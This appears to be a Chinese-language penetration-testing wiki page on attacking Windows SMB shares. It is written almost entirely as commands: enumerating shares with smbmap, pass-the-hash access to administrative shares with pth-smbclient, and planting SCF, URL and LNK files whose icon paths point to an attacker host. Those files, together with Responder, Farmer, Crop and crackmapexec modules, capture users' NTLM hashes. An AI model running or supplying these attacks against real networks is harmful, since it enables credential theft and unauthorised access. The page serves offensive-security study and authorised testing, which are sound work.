> For the complete documentation index, see [llms.txt](https://www.heresecurity.wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.heresecurity.wiki/heng-xiang-yi-dong/gong-xiang.md).

# 共享

```
某些共享无需身份验证即可访问，探索它们以找到一些有趣的文件
```

#### smbmap

```
https://github.com/ShawnDEvans/smbmap
>smbmap -H 10.10.10.10                
>smbmap -H 10.10.10.10 -R             # 递归列表
>smbmap -H 10.10.10.10 -u invaliduser 
>smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
```

#### pth-smbclient from path-toolkit

```
https://github.com/byt3bl33d3r/pth-toolkit
>pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
>pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
>ls  # 列文件
>cd  # 切换目录
>get # 下载
>put # 上传
```

#### smbclient from Impacket

```
https://github.com/SecureAuthCorp/impacket
>smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
```

#### 针对可写共享的 SCF 和 URL 文件攻击

```
https://github.com/mdsecactivebreach/Farmer
https://github.com/mdsecactivebreach/Farmer/tree/main/crop
>farmer.exe <port> [seconds] [output]
>farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
>farmer.exe 8888 60 # one minute
Crop 可用于创建各种文件，这些文件将触发 SMB/WebDAV 连接，以便在哈希收集攻击期间中毒文件共享
>crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
>Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
>Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
```

#### SCF文件

```
@something.scf文件写入以下内容
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
然后监听
>responder -wrf --lm -v -I eth0
使用crackmapexec:
>crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
>crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
>crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
```

#### URL文件

```
.url文件写入以下内容
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
然后监听
>responder -I eth0 -v
```